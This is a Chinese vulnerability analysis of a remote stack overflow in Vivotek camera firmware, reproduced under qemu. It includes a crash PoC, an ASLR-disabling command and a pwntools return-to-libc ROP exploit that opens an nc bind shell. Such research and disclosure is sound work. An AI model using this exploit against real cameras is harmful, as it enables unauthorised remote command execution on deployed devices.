1. 程式人生 > >Vivotek 攝像頭遠程棧溢出漏洞分析及利用

Vivotek 攝像頭遠程棧溢出漏洞分析及利用

-418 環境搭建 目標 bin 無法 查看 攝像 遠程調試 鏡像

Vivotek 攝像頭遠程棧溢出漏洞分析及利用

近日,Vivotek 旗下多款攝像頭被曝出遠程未授權棧溢出漏洞,攻擊者發送特定數據可導致攝像頭進程崩潰。

漏洞作者@bashis 放出了可造成攝像頭 Crash 的 PoC :https://www.seebug.org/vuldb/ssvid-96866

該漏洞在 Vivotek 的攝像頭中廣泛存在,按照官方的安全公告,會影響以下版本

CC8160 CC8370-HV CC8371-HV CD8371-HNTV CD8371-HNVF2 FD8166A
FD8166A-N FD8167A FD8167A-S FD8169A FD8169A-S FD816BA-HF2
FD816BA-HT FD816CA-HF2 FD8177-H FD8179-H FD8182-F1 FD8182-F2
FD8182-T FD8366-V FD8367A-V FD8369A-V FD836BA-EHTV FD836BA-EHVF2
FD836BA-HTV FD836BA-HVF2 FD8377-HV FD8379-HV FD8382-ETV FD8382-EVF2
FD8382-TV FD8382-VF2 FD9171-HT FD9181-HT FD9371-EHTV FD9371-HTV
FD9381-EHTV FD9381-HTV FE8182 FE9181-H FE9182-H FE9191
FE9381-EHV FE9382-EHV FE9391-EV IB8360 IB8360-W IB8367A
IB8369A IB836BA-EHF3 IB836BA-EHT IB836BA-HF3 IB836BA-HT IB8377-H
IB8379-H IB8382-EF3 IB8382-ET IB8382-F3 IB8382-T IB9371-EHT
IB9371-HT IB9381-EHT IB9381-HT IP8160 IP8160-W IP8166
IP9171-HP IP9181-H IZ9361-EH MD8563-EHF2 MD8563-EHF4 MD8563-HF2
MD8563-HF4 MD8564-EH MD8565-N SD9161-H SD9361-EHL SD9362-EH
SD9362-EHL SD9363-EHL SD9364-EH SD9364-EHL SD9365-EHL SD9366-EH
SD9366-EHL VS8100-V2

Vivotek 官方提供了各種型號攝像頭的固件下載:http://www.vivotek.com/firmware/ ,這也為我們的研究帶來了很多便利。

我們發現,漏洞被曝出之後,在官網固件下載頁面中的大多數固件均早於漏洞曝出時間,我們下載了幾款攝像頭的最新固件進行驗證,發現漏洞依然存在,這意味著截止漏洞被曝出,Vivotek 官方對該漏洞的修復並不徹底。眾所周知,棧溢出是存在潛在的遠程命令執行風險的,為了深入了解該漏洞的影響,我們決定研究下該漏洞的原理及利用。

調試環境搭建

固件下載

由於手頭上並沒有 Vivotek 的攝像頭,我們在官網下載其中一款攝像頭固件,使用 qemu 模擬運行。(註:官方在陸續發布各個版本的固件更新,可根據固件發布時間判斷官方是否已經修復漏洞)

首先下載攝像頭固件:http://download.vivotek.com/downloadfile/downloads/firmware/cc8160firmware.zip

通過 binwalk 直接解壓出其中的文件系統,和漏洞有關的主要文件如下

技術分享圖片

根據 file 命令的結果可知目標架構為 ARM、小端、32位。且該 ELF 文件為動態鏈接。

修復運行依賴

嘗試用 qemu 運行,結果如下

技術分享圖片

服務沒有運行起來,且沒有明顯的報錯,猜想到可能是缺少某些依賴,程序直接退出了,扔到 IDA,從程序退出前的提示:gethostbyname:: Success,回溯程序異常退出原因。

依次加載IDA 菜單欄 -> View -> Open subviews -> Strings,Command + F

搜索 gethostname

技術分享圖片

查看交叉引用信息,定位相應代碼段

技術分享圖片

異常退出部分代碼如下

技術分享圖片

為了看的更直觀,我們來貼一下 F5 的結果,如下

技術分享圖片

這部分主要涉及兩個函數。gethostname():返回本地主機的標準主機名,如果函數成功,則返回 0。如果發生錯誤則返回 -1。gethostbyname():用域名或主機名獲取IP地址。

Linux 操作系統的 hostname 是一個 kernel 變量,可以通過 hostname 命令來查看本機的 hostname。也可以直接 cat /proc/sys/kernel/hostname 查看。

技術分享圖片

我們只需要將二者改成一致,httpd 服務即可成功運行。

調試環境

為了方便調試,還需要搭建 qemu 虛擬機環境。

qemu 鏡像文件下載:https://people.debian.org/~aurel32/qemu/armel/(下載內核 3.2 的版本)

遠程調試 gdbserver:https://github.com/mzpqnxow/gdb-static-cross/tree/master/prebuilt-static

qemu 虛擬機建議采用 橋接 方式和主機連接。

#!/bin/bash

sudo tunctl -t tap0 -u `whoami`
sudo ifconfig tap0 192.168.2.1/24
qemu-system-arm -M versatilepb -kernel vmlinuz-3.2.0-4-versatile -initrd initrd.img-3.2.0-4-versatile -hda debian_wheezy_armel_standard.qcow2 -append "root=/dev/sda1"  -net nic -net tap,ifname=tap0,script=no,downscript=no -nographic

啟動虛擬機,進行簡單配置等待遠程調試。

技術分享圖片

漏洞研究

定位溢出點

以下為漏洞作者 @bashis 提供的 PoC

echo -en "POST /cgi-bin/admin/upgrade.cgi 
HTTP/1.0\nContent-Length:AAAAAAAAAAAAAAAAAAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIXXXX\n\r\n\r\n"  | ncat -v 192.168.57.20 80

老套路, 根據 Content-Length 很容易定位到溢出點,如下

技術分享圖片

驚訝到了,strncpy() 函數的長度參數竟然這麽用,妥妥的溢出。

調用棧布局

技術分享圖片

dest 緩沖區起始地址距離棧底 0x38 字節,棧上依次為 LR、R11-R4。Content-Length 長度超過 0x38 - 4 字節就會覆蓋函數的返回地址 LR。

exp 研究

strncpy() 函數引起的棧溢出,在利用時就會有很 egg hurt 的 0x00 壞字符問題,如果我們的輸入數據中包含 0x00,將會被截斷導致漏洞利用失敗。根據溢出點附近的匯編代碼來看,0x0a 也會被截斷。且開啟了 NX 保護,這意味著我們無法在棧上部署 shellcode

技術分享圖片

?

嘗試通過 return2libc 的方式 getshell。由於沒有實際的攝像頭,我們不知道目標系統是否開啟了 ASLR ,如果 ASLR 是開啟的且沒有其它可用來暴露 libC動態鏈接庫內存地址的漏洞,那麽利用該漏洞將會是一個很難受的過程。

采用以下方式暫時關閉 ASLR

echo 0 > /proc/sys/kernel/randomize_va_space

libC 庫的加載地址如下

技術分享圖片

接下來就需要精心構造數據,劫持函數的執行流程了。有一點需要註意,X86 架構下的所有參數都是通過堆棧傳遞的,而在 MIPS 和 ARM 架構中,會優先通過寄存器傳遞參數,如果參數個數超過了寄存器的數量,則將剩下的參數壓入調用參數空間(即堆棧)。

從前面的分析來看,只要我們構造 0x38 - 4 字節以上的數據,棧底的函數返回地址就會被我們劫持。system() 函數地址 = libC 庫在內存中的加載基址 + system() 函數在 libC 庫中的偏移,通過劫持該地址為 libC 庫中的 system() 函數地址,再設置 R0 寄存器指向命令字符串,就可以執行任意命令。

經過驗證,nc 命令可以正常使用。

技術分享圖片

接下來我們開始構造 ROP 利用鏈,大致思路見以下匯編代碼。

技術分享圖片

Github 上有個很贊的項目:https://github.com/JonathanSalwan/ROPgadget

它可以用來搜索 ELF 文件中的 gadgets,方便我們構造 ROP 鏈。

我們需要將字符串參數 nc -lp2222 -e/bin/sh 部署到棧上,並且將地址存入 R0。該參數包含 20 個字節,且不含壞字符。

技術分享圖片

libC 基址為 0xb6f2d000,由該地址可知 gadget 在內存中的有效地址。發生溢出時棧頂地址為 0xbeffeb50

利用 ROPgadget 搜索可用的 gadgets,在選擇 gadget 時要還考慮壞字符的問題。比如說如下的 gadget 就不得行。

技術分享圖片

再搜索一條可用的 gadget,俗稱曲線救國。

技術分享圖片

技術分享圖片

選擇以下兩條 gadget,構造 ROP 如下。

# 基於 qemu 模擬環境
# 攝像頭型號:Vivotek CC8160
# 0x00048784 : pop {r1, pc} 
# 0x00016aa4 : mov r0, r1 ; pop {r4, r5, pc}


#!/usr/bin/python

from pwn import *

libc_base = 0xb6f2d000  # libC 庫在內存中的加載地址
stack_base = 0xbeffeb70 # 崩潰時 SP 寄存器的地址
libc_elf = ELF(‘libuClibc-0.9.33.3-git.so‘)

payload = (0x38 - 4) * ‘a‘ # padding
payload +=  p32(0x00048784 + libc_base) # gadget1
payload += p32(0x80 + stack_base) # 棧中命令參數地址
payload += p32(0x00016aa4 + libc_base) # gadget2
payload += (0x8 * ‘a‘)  # padding
payload += p32(libc_elf.symbols[‘system‘] + libc_base) # 內存中 system() 函數地址
payload += (‘pwd;‘ * 0x100 + ‘nc\x20-lp2222\x20-e/bin/sh\x20>‘) # 命令參數



payload = ‘echo -en "POST /cgi-bin/admin/upgrade.cgi \nHTTP/1.0\nContent-Length:{}\n\r\n\r\n"  | nc -v 192.168.2.2 80‘.format(payload)

通過調試 ,我們可以獲得崩潰時的棧頂地址,為了確保命令能執行,我們在真正要執行的命令前加了部分命令作為緩沖。

可以看到,開啟了 NX 保護的棧上雖然不可執行代碼,但是依然可以在上面部署數據。我們只需要將要執行的命令部署到棧上,構造 ROP 讓 R0 寄存器指向棧上的命令所在區域,然後 return2libC 調用系統函數,就可以執行任意命令了。

已將 PoC 和 EXP 整理成 Pocsuite 腳本:https://www.seebug.org/vuldb/ssvid-96866,驗證效果如下。

技術分享圖片

技術分享圖片

致謝

第一次接觸 ARM 匯編,有很多不足之處,歡迎各大佬指正。中途踩了不少坑,感謝 404 小夥伴 @Hcamael 和 @沒有ID 的各種疑難解答。

參考鏈接

  • https://www.seebug.org/vuldb/ssvid-96866
  • http://seclists.org/fulldisclosure/2017/Nov/31
  • https://paper.seebug.org/271/
  • https://paper.seebug.org/272/
  • http://0x48.pw/2016/11/03/0x26/
  • http://www.freebuf.com/articles/terminal/107276.html

Vivotek 攝像頭遠程棧溢出漏洞分析及利用